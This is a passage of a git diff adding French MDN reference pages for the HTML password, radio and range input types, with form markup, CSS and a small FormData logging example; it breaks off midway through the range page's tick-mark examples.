+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("inputmode", "input")}}, {{htmlattrxref("maxlength", "input")}}, {{htmlattrxref("minlength", "input")}}, {{htmlattrxref("pattern", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("readonly", "input")}}, {{htmlattrxref("required", "input")}} et {{htmlattrxref("size", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>selectionStart</code>, <code>selectionEnd</code>, <code>selectionDirection</code> et <code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.setRangeText", "setRangeText()")}} et  {{domxref("HTMLInputElement.setSelectionRange", "setSelectionRange()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#password-state-(type=password)', '&lt;input type="password"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#password-state-typepassword', '&lt;input type="password"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-password")}}</p>
diff --git a/files/fr/web/html/element/input/radio/index.html b/files/fr/web/html/element/input/radio/index.html
new file mode 100644
index 0000000000..5370a19374
--- /dev/null
+++ b/files/fr/web/html/element/input/radio/index.html
@@ -0,0 +1,357 @@
+---
+title: <input type="radio">
+slug: Web/HTML/Element/Input/radio
+tags:
+  - Formulaires
+  - HTML
+  - Input
+  - Reference
+translation_of: Web/HTML/Element/input/radio
+---
+<div>{{HTMLRef}}</div>
+
+<p>Les éléments <code>&lt;input&gt;</code> dont l'attribut <code>type</code> vaut <strong><code>radio</code></strong> sont généralement utilisés pour construire des groupes d'options parmi lesquelles on ne peut choisir qu'une valeur. Les « boutons radio » sont représentés par des cercles remplis lorsqu'ils sont sélectionnés.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-radio.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>On les appelle boutons radios par analogie avec les boutons qui étaient utilisés sur les anciens postes de radios.</p>
+
+<div class="note">
+<p><strong>Note</strong> : <a href="/fr/docs/Web/HTML/Element/input/checkbox">Les cases à cocher (<em>checkboxes</em>)</a> ressemblent aux boutons radios. Toutefois, il existe une différence fondamentale : les boutons radio ne permettent de sélectionner qu'une seule option au sein d'un groupe alors que les cases à cocher permettent d'en sélectionner plusieurs.</p>
+</div>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>L'attribut <code>value</code> est une chaîne de caractères (un objet {{domxref("DOMString")}} au sens du DOM) qui contient la valeur du bouton radio. Cette valeur n'est pas montrée à l'utilisateur par le navigateur ou tout autre agent utilisateur, elle permet d'identifier l'option sélectionnée.</p>
+
+<h3 id="Définir_un_groupe_de_boutons_radio">Définir un groupe de boutons radio</h3>
+
+<p>Pour définir un groupe de boutons radio, on leur donne le même nom via l'attribut {{htmlattrxref("name", "input")}}. Une fois qu'on a formé un groupe de boutons radio, on ne pourra sélectionner qu'une seule des options de ce groupes (cliquer sur une option désélectionnera automatiquement l'option précédemment choisie dans ce groupe).</p>
+
+<p>Il est possible d'avoir autant de groupes que nécessaire, il suffit que chaque groupe ait un nom (l'attribut <code>name</code>) unique.</p>
+
+<p>Ainsi, si on souhaite utiliser un formulaire afin de demander à l'utilisateur sa méthode de contact préférée, on pourra créer trois boutons radio avec l'attribut <code>name</code> qui vaut <code>contact</code> et pour lesquels l'attribut {{htmlattrxref("value", "input")}} varie : <code>email</code> pour le premier, <code>telephone</code> pour le deuxième et <code>courrier</code> pour le dernier. Cette valeur et le nom du groupe ne sont pas affichés (ce sera le rôle de l'élément {{HTMLElement("label")}} de fournir un intitulé).</p>
+
+<p>Voici le fragment de code HTML correspondant à cet exemple :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;p&gt;Veuillez choisir la meilleure méthode pour vous contacter :&lt;/p&gt;
+  &lt;div&gt;
+    &lt;input type="radio" id="contactChoice1"
+     name="contact" value="email"&gt;
+    &lt;label for="contactChoice1"&gt;Email&lt;/label&gt;
+
+    &lt;input type="radio" id="contactChoice2"
+     name="contact" value="telephone"&gt;
+    &lt;label for="contactChoice2"&gt;Téléphone&lt;/label&gt;
+
+    &lt;input type="radio" id="contactChoice3"
+     name="contact" value="courrier"&gt;
+    &lt;label for="contactChoice3"&gt;Courrier&lt;/label&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button type="submit"&gt;Envoyer&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>On voit ici trois boutons radio dont l'attribut <code>name</code> vaut <code>contact</code> et dont chacun possède une valeur unique pour l'attribut <code>value</code>. Ils possèdent également un identifiant unique ({{domxref("Element.id", "id")}}) qui est utilisé pour rattacher le libellé fourni par l'élément {{HTMLElement("label")}} via l'attribut {{htmlattrxref("for", "label")}}.</p>
+
+<p>Voici le résultat obtenu :</p>
+
+<p>{{EmbedLiveSample('Définir_un_groupe_de_boutons_radio', 600, 130)}}</p>
+
+<h3 id="La_représentation_des_données_d’un_groupe_de_boutons_radio">La représentation des données d’un groupe de boutons radio</h3>
+
+<p>Lorsqu'on envoie le formulaire précédent avec une option sélectionnée, les données du formulaire contiendront une valeur sous la forme <code>"contact=<em>valeur</em>"</code>. Ainsi, si l'utilisateur clique sur le bouton radio « Téléphone » et envoie le formulaire, les données du formulaire contiendront <code>"contact=telephone"</code>.</p>
+
+<p>Si l'attribut <code>value</code> n'est pas fourni dans le document HTML, la valeur par défaut utilisée sera <code>on</code> pour l'ensemble du groupe. Si c'était le cas avec notre exemple précédent et que l'utilisateur avait cliqué sur l'option « Téléphone » et envoyé le formulaire, les données envoyées auraient contenu <code>"contact=on"</code> ce qui ne s'avère pas très utile. Aussi, mieux vaut ne pas oublier les attributs <code>value</code> !</p>
+
+<div class="note">
+<p><strong>Note</strong> : Si aucun bouton radio n'est sélectionné au moment de l'envoi du formulaire, le groupe radio n'est pas inclus dans les données envoyées par le formulaire car il n'y a aucune valeur à fournir.</p>
+</div>
+
+<p>Généralement, on souhaite qu'au moins une option soit sélectionné parmi les boutons d'un groupe et on inclue donc souvent un attribut <code>checked</code> sur l'un des boutons afin d'avoir une option sélectionnée par défaut.</p>
+
+<p>Ajoutant un peu de code à notre exemple pour étudier les données générées par ce formulaire. On modifie le code HTML afin d'ajouter un bloc {{HTMLElement("pre")}} qui contiendra les données produites par le formulaire :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;p&gt;Veuillez choisir la meilleure méthode pour vous contacter :&lt;/p&gt;
+  &lt;div&gt;
+    &lt;input type="radio" id="contactChoice1"
+     name="contact" value="email"&gt;
+    &lt;label for="contactChoice1"&gt;Email&lt;/label&gt;
+
+    &lt;input type="radio" id="contactChoice2"
+     name="contact" value="telephone"&gt;
+    &lt;label for="contactChoice2"&gt;Téléphone&lt;/label&gt;
+
+    &lt;input type="radio" id="contactChoice3"
+     name="contact" value="courrier"&gt;
+    &lt;label for="contactChoice3"&gt;Courrier&lt;/label&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button type="submit"&gt;Envoyer&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;
+&lt;pre id="log"&gt;
+&lt;/pre&gt;
+</pre>
+
+<p>Ensuite, on ajoute du code <a href="/fr/docs/Web/JavaScript">JavaScript</a> pour rattacher un gestionnaire d'évènement sur l'évènement {{event("submit")}} qui est déclenché lorsque l'utilisateur clique sur le bouton « Envoyer » :</p>
+
+<pre class="brush: js">var form = document.querySelector("form");
+var log = document.querySelector("#log");
+
+form.addEventListener("submit", function(event) {
+  var data = new FormData(form);
+  var output = "";
+  for (const entry of data) {
+    output = entry[0] + "=" + entry[1] + "\r";
+  };
+  log.innerText = output;
+  event.preventDefault();
+}, false);</pre>
+
+<p>Vous pouvez manipuler cet exemple et voir qu'il n'y a jamais plus 'un résultat pour le groupe <code>"contact"</code>.</p>
+
+<p>{{EmbedLiveSample("La_représentation_des_données_d’un_groupe_de_boutons_radio", 600, 130)}}</p>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs partagés par l'ensemble des éléments {{HTMLElement("input")}}, les boutons radio peuvent utiliser les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Definition</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("checked")}}</code></td>
+   <td>Un attribut booléen qui indique si le bouton radio est l'élément sélectionné du groupe.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("value")}}</code></td>
+   <td>Une chaîne à utiliser comme valeur pour le bouton radio lors de l'envoi du formulaire si ce bouton est choisi.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(checked)">{{htmlattrdef("checked")}}</h3>
+
+<p>Un attribut booléen qui indique si c'est ce champ radio qui est sélectionné parmi le groupe.<span><a id="cke_1832" title="Delete Rows"></a></span></p>
+
+<p>À la différence des autres navigateurs, Firefox conservera <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">l'état coché dynamique</a> d'un bouton radio au fur et à mesure des chargements de la page. On pourra utiliser l'attribut {{htmlattrxref("autocomplete","input")}} afin de contrôler cette fonctionnalité.</p>
+
+<h3 id="htmlattrdef(value)">{{htmlattrdef("value")}}</h3>
+
+<p>L'attribut <code>value</code> est partagé par l'ensemble des types d'élément {{HTMLElement("input")}}. Dans le cas d'un bouton radio, il a un rôle spécifique et permet d'associer un texte qui sera envoyé avec le formulaire pour représenter la valeur sélectionnée. Si la valeur de <code>value</code> n'est pas définie, ce sera la chaîne de caractères <code>"on"</code> qui sera envoyée.</p>
+
+<h2 id="Utiliser_les_boutons_radio">Utiliser les boutons radio</h2>
+
+<p>Nous avons déjà vu certaines techniques ci-avant. Voyons désormais d'autres fonctionnalités fréquemment utilisées avec ces boutons.</p>
+
+<h3 id="Sélectionner_un_bouton_radio_par_défaut">Sélectionner un bouton radio par défaut</h3>
+
+<p>Pour qu'un bouton radio soit sélectionné par défaut, on ajoutera l'attribut booléen <code>checked</code>. Voici ce que ça donne pour l'exemple précédent, légèrement modifié :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;p&gt;Veuillez choisir la meilleure méthode pour vous contacter :&lt;/p&gt;
+  &lt;div&gt;
+    &lt;input type="radio" id="contactChoice1"
+     name="contact" value="email" checked&gt;
+    &lt;label for="contactChoice1"&gt;Email&lt;/label&gt;
+
+    &lt;input type="radio" id="contactChoice2"
+     name="contact" value="telephone"&gt;
+    &lt;label for="contactChoice2"&gt;Téléphone&lt;/label&gt;
+
+    &lt;input type="radio" id="contactChoice3"
+     name="contact" value="courrier"&gt;
+    &lt;label for="contactChoice3"&gt;Courrier&lt;/label&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button type="submit"&gt;Envoyer&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Sélectionner_un_bouton_radio_par_défaut', 600, 130)}}</p>
+
+<p>Ici, c'est le premier bouton radio qui sera sélectionné par défaut.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Si l'attribut <code>checked</code> est placé sur plus d'un bouton, c'est le dernier bouton contenant l'attribut qui sera sélectionné. C'est donc l'ordre des valeurs qui déterminera la valeur par défaut. Pour rappel, il ne peut y avoir qu'un seul bouton radio du groupe qui soit sélectionné à un instant donné.</p>
+</div>
+
+<h3 id="Fournir_une_plus_grande_zone_de_sélection">Fournir une plus grande zone de sélection</h3>
+
+<p>Dans les exemples précédents, vous avez peut-être constaté qu'en cliquant sur l'élément {{htmlelement("label")}} associé au bouton radio, cela sélectionnait la valeur de ce bouton. C'est une fonctionnalité HTML très pratique qui facilite la sélection des options, notamment sur les écrans de petites tailles comme ceux des smartphones.</p>
+
+<p>Au-delà des raisons relatives à l'accessibilité, il s'agit d'un autre argument en faveur de la bonne utilisation des éléments <code>&lt;label&gt;</code> dans les formulaires.</p>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Il n'existe pas de contrainte de validation particulière pour les boutons radio.</p>
+
+<h2 id="Mettre_en_forme_les_boutons_radio">Mettre en forme les boutons radio</h2>
+
+<p>L'exemple qui suit est une version légèrement plus détaillée de l'exemple précédent qui contient une mise en forme et une meilleure sémantique grâce aux éléments HTML utilisés :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Veuillez choisir la meilleure méthode pour vous contacter :&lt;/legend&gt;
+    &lt;div&gt;
+      &lt;input type="radio" id="contactChoice1"
+       name="contact" value="email" checked&gt;
+      &lt;label for="contactChoice1"&gt;Email&lt;/label&gt;
+
+      &lt;input type="radio" id="contactChoice2"
+       name="contact" value="telephone"&gt;
+      &lt;label for="contactChoice2"&gt;Téléphone&lt;/label&gt;
+
+      &lt;input type="radio" id="contactChoice3"
+       name="contact" value="courrier"&gt;
+      &lt;label for="contactChoice3"&gt;Courrier&lt;/label&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;button type="submit"&gt;Envoyer&lt;/button&gt;
+    &lt;/div&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<p>On voit ici peu de modifications mais notamment l'ajout d'éléments {{htmlelement("fieldset")}} et {{htmlelement("legend")}} qui permettent de grouper les options (à la fois pour la mise en forme et pour la sémantique du document).</p>
+
+<p>La feuille de style CSS utilisée est la suivante :</p>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+div:first-of-type {
+  display: flex;
+  align-items: flex-start;
+  margin-bottom: 5px;
+}
+
+label {
+  margin-right: 15px;
+  line-height: 32px;
+}
+
+input {
+  -webkit-appearance: none;
+  -moz-appearance: none;
+  appearance: none;
+
+  border-radius: 50%;
+  width: 16px;
+  height: 16px;
+
+  border: 2px solid #999;
+  transition: 0.2s all linear;
+  margin-right: 5px;
+
+  position: relative;
+  top: 4px;
+}
+
+input:checked {
+  border: 6px solid black;
+}
+
+button,
+legend {
+  color: white;
+  background-color: black;
+  padding: 5px 10px;
+  border-radius: 0;
+  border: 0;
+  font-size: 14px;
+}
+
+button:hover,
+button:focus {
+  color: #999;
+}
+
+button:active {
+  background-color: white;
+  color: black;
+  outline: 1px solid black;
+}</pre>
+
+<p>La propriété utilisée la plus notable est {{cssxref("-moz-appearance")}} (utilisée avec certains préfixes navigateur). Par défaut, les boutons radios (ainsi que les cases à cocher) sont mis en forme avec l'apparence native liée au système d'exploitation sous-jacente. Avec <code>appearance: none</code>, on peut passer outre cette mise en forme native et créer ses propres styles pour ces boutons. Ici, nous avons utilisé {{cssxref("border")}} et {{cssxref("border-radius")}} avec {{cssxref("transition")}} afin de créer une animation lors de la sélection. On utilise également la pseudo-classe {{cssxref(":checked")}} pour définir l'apparence du bouton radio lorsqu'il est sélectionné.</p>
+
+<p>Cette méthode n'est pas exempte d'inconvénient : <code>appearance</code> fonctionne correctement pour une mise en forme simple mais peut se comporter de façons différentes selon les navigateurs et elle ne fonctionne pas du tout avec Internet Explorer. Attention donc à tester votre site dans les différents navigateurs.</p>
+
+<p>{{EmbedLiveSample('Mettre_en_forme_les_boutons_radio', 600, 120)}}</p>
+
+<p>De plus, la légende et le bouton d'envoi ont été mis en forme pour avoir un contraste marqué. Ce n'est pas peut-être pas la mise en forme idéale pour toutes les applications web mais cela illustre certaines des possibilités.</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères {{domxref("DOMString")}} qui représente la valeur du bouton radio.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{event("change")}} et {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("checked", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>checked</code> et <code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#radio-button-state-(type=radio)', '&lt;input type="radio"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#radio-button-state-(type=radio)', '&lt;input type="radio"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-radio")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément {{HTMLElement("input")}} et l'interface {{domxref("HTMLInputElement")}} du DOM qui est implémentée par cet élément</li>
+ <li>L'interface {{domxref("RadioNodeList")}} qui décrit une liste de boutons radio</li>
+</ul>
diff --git a/files/fr/web/html/element/input/range/index.html b/files/fr/web/html/element/input/range/index.html
new file mode 100644
index 0000000000..61acbc913c
--- /dev/null
+++ b/files/fr/web/html/element/input/range/index.html
@@ -0,0 +1,382 @@
+---
+title: <input type="range">
+slug: Web/HTML/Element/Input/range
+tags:
+  - Element
+  - HTML
+  - Input
+  - Reference
+translation_of: Web/HTML/Element/input/range
+---
+<div>{{HTMLRef}}</div>
+
+<p>Les éléments {{HTMLElement("input")}} dont l'attribut <code>type</code> vaut <code><strong>range</strong></code> permettent à l'utilisateur d'indiquer une valeur numérique comprise entre deux bornes. La valeur précise n'est pas considérée comme importante. Ces éléments sont généralement représenté avec un curseur sur une ligne ou comme un bouton de potentiel. Ce genre de <em>widget</em> n'étant pas précis, ce type ne devrait pas être utilisé lorsque la valeur exacte fournie par l'utilisateur est importante.</p>
+
+<p>{{EmbedInteractiveExample("pages/tabbed/input-range.html", "tabbed-standard")}}</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Si le navigateur de l'utilisateur ne prend pas en charge le type <code>range</code>, il utilisera le type <code><a href="/fr/docs/Web/HTML/Element/input/text">text</a></code> à la place.</p>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>L'attribut {{htmlattrxref("value", "input")}} contient une chaîne de caractères {{domxref("DOMString")}} qui correspond à la représentation textuelle du nombre sélectionnée. La valeur n'est jamais une chaîne vide (<code>""</code>). La valeur par défaut est celle médiane entre le minimum et le maximum (sauf si la valeur maximale indiquée est inférieure à la valeur minimale, auquel cas la valeur par défaut est celle de l'attribut <code>min</code>).  Voici un fragment de code illustrant cet algorithme pour le choix de la valeur par défaut :</p>
+
+<pre class="brush: js">defaultValue = (rangeElem.max &lt; rangeElem.min) ? rangeElem.min
+               : rangeElem.min + (rangeElem.max - rangeElem.min)/2;</pre>
+
+<p>Si on essaie d'obtenir une valeur inférieure au minimum, alors la valeur sera ramenée au minimum (de même si on essaye de dépasser le maximum).</p>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs communs à l'ensemble des éléments {{HTMLElement("input")}}, les champs pour les intervalles peuvent utiliser les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("max")}}</code></td>
+   <td>La valeur maximale autorisée.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("min")}}</code></td>
+   <td>La valeur minimale autorisée.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("step")}}</code></td>
+   <td>Le pas utilisé pour incrémenter la valeur du champ. Cette valeur est utilisée pour l'interface utilisateur du contrôle et pour la validation de la valeur.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(max)">{{htmlattrdef("max")}}</h3>
+
+<p>La plus grande valeur autorisée sur l'intervalle. Si la valeur saisie dans le champ (représentée par l'attribut {{htmlattrxref("value", "input")}}) dépasse ce seuil, <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">la validation échouera</a>. Si la valeur fournie n'est pas un nombre, aucun maximum ne sera fixé pour la valeur du contrôle.</p>
+
+<p>Cette valeur doit être supérieure ou égale à celle indiquée par l'attribut <code>min</code>.</p>
+
+<h3 id="htmlattrdef(min)">{{htmlattrdef("min")}}</h3>
+
+<p>La plus petite valeur autorisée sur l'intervalle. Si la valeur saisie dans le champ (représentée par l'attribut {{htmlattrxref("value", "input")}}) est inférieure à ce seuil, <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">la validation échouera</a>. Si la valeur fournie n'est pas un nombre, aucun minimum ne sera fixé pour la valeur du contrôle.</p>
+
+<p>Cette valeur doit être inférieure ou égale à celle indiquée par l'attribut <code>max</code>.</p>
+
+<h3 id="htmlattrdef(step)">{{htmlattrdef("step")}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/number", "step-include")}}</p>
+
+<p>Par défaut, l'incrément utilisé pour les champs de type <code>number</code> vaut 1 et on ne peut alors saisir que des entiers à momins que la valeur de base ne soit pas entière. Ainsi, si on définit <code>min</code> avec -10 et <code>value</code> avec 1.5, un attribut <code>step</code> qui vaut 1 permettra de saisir les valeurs positives 1.5, 2.5, 3.5, etc. et les valeurs négatives -0.5, -1.5, -2.5, etc.</p>
+
+<h2 id="Utiliser_les_intervalles">Utiliser les intervalles</h2>
+
+<p>Bien que le type <code>"number"</code> permette à l'utilisateur de saisir un nombre avec certaines contraintes optionnelles (par exemple pour que la valeur soit comprise entre un minimum et un maximum), ce type nécessite de saisir une valeur spécifique. Le type <code>"range"</code> permet de saisir une valeur lorsque l'exactitude de celle-ci importe peu.</p>
+
+<p>Voici quelques scénarios où un intervalle de saisie est plus pertinent :</p>
+
+<ul>
+ <li>Les contrôles relatis à l'audio pour le volume, la balance ou les filtres.</li>
+ <li>Les contrôles relatifs à la configuration des couleurs (canaux, transparence, luminosité, etc.)</li>
+ <li>Les contrôles relatifs à la configuration de jeux vidéos (difficulté, distance de visibilité, taille du monde généré, etc.)</li>
+ <li>La longueur du mot de passe pour les mots de passe générés par un gestionnaire de mots de passe.</li>
+</ul>
+
+<p>De façon générale, si un utilisateur est plutôt intéressé dans un pourcentage représentant la distance entre la borne minimale et la borne maximale, un intervalle de saisie sera plus pertinent (par exemple, pour le volume, on pensera plutôt « augmenter le volume jusqu'à la moitié du maximum » que « mettre le volume à 0.5 »).</p>
+
+<h3 id="Indiquer_le_minimum_et_le_maximum">Indiquer le minimum et le maximum</h3>
+
+<p>Par défaut, le minimum vaut 0 et le maximum vaut 100. Si ces bornes ne conviennent pass, on peut facilement les changer via les attributs {{htmlattrxref("min", "input")}} et/ou {{htmlattrxref("max", "input")}}. Ces attributs acceptent des nombres décimaux.</p>
+
+<p>Par exemple, afin de demander à un utilisateur de choisir une valeur approximative dans l'intervalle [-10 , 10], on pourra utiliser :</p>
+
+<pre class="brush: html">&lt;input type="range" min="-10" max="10"&gt;</pre>
+
+<p>{{EmbedLiveSample("Indiquer_le_minimum_et_le_maximum", 600, 40)}}</p>
+
+<h3 id="Définir_la_granularité">Définir la granularité</h3>
+
+<p>Par défaut, la granularité vaut 1, ce qui signifie que la valeur est toujours un entier. Cela peut être modifié grâce à l'attribut {{htmlattrxref("step")}} qui permet de contrôler la granularité. Ainsi, si on souhaite une valeur comprise entre 5 et 10 et précise avec deux chiffres après la virgule, on pourra utiliser l'attribut <code>step</code> avec la valeur 0.01 :</p>
+
+<div id="Granularity_sample1">
+<pre class="brush: html">&lt;input type="range" min="5" max="10" step="0.01"&gt;</pre>
+
+<p>{{EmbedLiveSample("Granularity_sample1", 600, 40)}}</p>
+</div>
+
+<p>Si on souhaite prendre en charge n'importe quelle valeur, quel que soit le nombre de décimales, on pourra utiliser la valeur <code>any</code> pour l'attribut <code>step</code> :</p>
+
+<div id="Granularity_sample2">
+<pre class="brush: html">&lt;input type="range" min="0" max="3.14" step="any"&gt;</pre>
+
+<p>{{EmbedLiveSample("Granularity_sample2", 600, 40)}}</p>
+
+<p>Cet exemple permet à l'utilisateur de choisir une valeur entre 0 et 3.14 sans aucune restriction quant à la partie décimale.</p>
+</div>
+
+<h3 id="Ajouter_des_marques_et_des_étiquettes">Ajouter des marques et des étiquettes</h3>
+
+<p>La spécification HTML fournit une certaine flexibilité aux navigateurs pour représenter le contrôle de saisie. La spécification indique comment ajouter des informations pour certains niveaux de l'intervalle grâce à l'attribut  {{htmlattrxref("list", "input")}} et à un élément {{HTMLElement("datalist")}}. En revanche, il n'y a pas de spécifications précises quant aux marques (tirets) positionnés le long du contrôle.</p>
+
+<h4 id="Aperçus">Aperçus</h4>
+
+<p>La plupart des navigateurs prennent partiellement en charge ces fonctionnalités. Voici donc quelques aperçus du résultat qui peut être obtenu sur macOS avec un navigateur qui prend en charge chacune des fonctionnalités.</p>
+
+<h5 id="Un_contrôle_sans_marque">Un contrôle sans marque</h5>
+
+<p>Voici ce qu'on option lorsque le navigateur ne prend pas en charge cette fonctionnalité ou que l'attribut {{htmlattrxref("list", "input")}} est absent.</p>
+
+<table class="fullwidth standard-table">
+ <tbody>
+  <tr>
+   <th>HTML</th>
+   <th>Aperçu</th>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: html">
+&lt;input type="range"&gt;</pre>
+   </td>
+   <td><img alt="Screenshot of a plain slider control on macOS" src="https://mdn.mozillademos.org/files/14989/macslider-plain.png" style="height: 28px; width: 184px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h5 id="Un_contrôle_avec_des_marques">Un contrôle avec des marques</h5>
+
+<p>Dans l'exemple qui suit, le contrôle utilise un attribut <code>list</code> qui indique l'identifiant d'un élément {{HTMLElement("datalist")}} qui définit un ensemble de marques à appliquer sur le contrôle. Il y en a ici 11 : une marque pour 0% puis une marque tous les 10%. Chaque point pour lequel on souhaite afficher une marque est représenté par un élément {{HTMLElement("option")}} dont la valeur de l'attribut {{htmlattrxref("value", "option")}} correspond à l'emplacement de la marque.</p>
+
+<table class="fullwidth standard-table">
+ <tbody>
+  <tr>
+   <th>HTML</th>
+   <th>Aperçu</th>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: html">
+&lt;input type="range" list="tickmarks"&gt;
+
+&lt;datalist id="tickmarks"&gt;
+  &lt;option value="0"&gt;
+  &lt;option value="10"&gt;
+  &lt;option value="20"&gt;
+  &lt;option value="30"&gt;
+  &lt;option value="40"&gt;
+  &lt;option value="50"&gt;
+  &lt;option value="60"&gt;
+  &lt;option value="70"&gt;
+  &lt;option value="80"&gt;
+  &lt;option value="90"&gt;
+  &lt;option value="100"&gt;
+&lt;/datalist&gt;
+</pre>
+   </td>
+   <td><img alt="Screenshot of a plain slider control on macOS" src="https://mdn.mozillademos.org/files/14991/macslider-ticks.png" style="height: 28px; width: 184px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h5 id="Un_contrôle_avec_des_marques_et_des_étiquettes">Un contrôle avec des marques et des étiquettes</h5>
+
+<p>Il est possible d'ajouter des étiquettes grâce à l'attribut {{htmlattrxref("label", "option")}} des éléments {{HTMLElement("option")}} correspondants aux marques.</p>
+
+<table class="fullwidth standard-table">
+ <tbody>
+  <tr>
+   <th>HTML</th>
+   <th>Aperçu</th>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: html">
+&lt;input type="range" list="tickmarks"&gt;
+
+&lt;datalist id="tickmarks"&gt;
+  &lt;option value="0" label="0%"&gt;
+  &lt;option value="10"&gt;
+  &lt;option value="20"&gt;
+  &lt;option value="30"&gt;
+  &lt;option value="40"&gt;
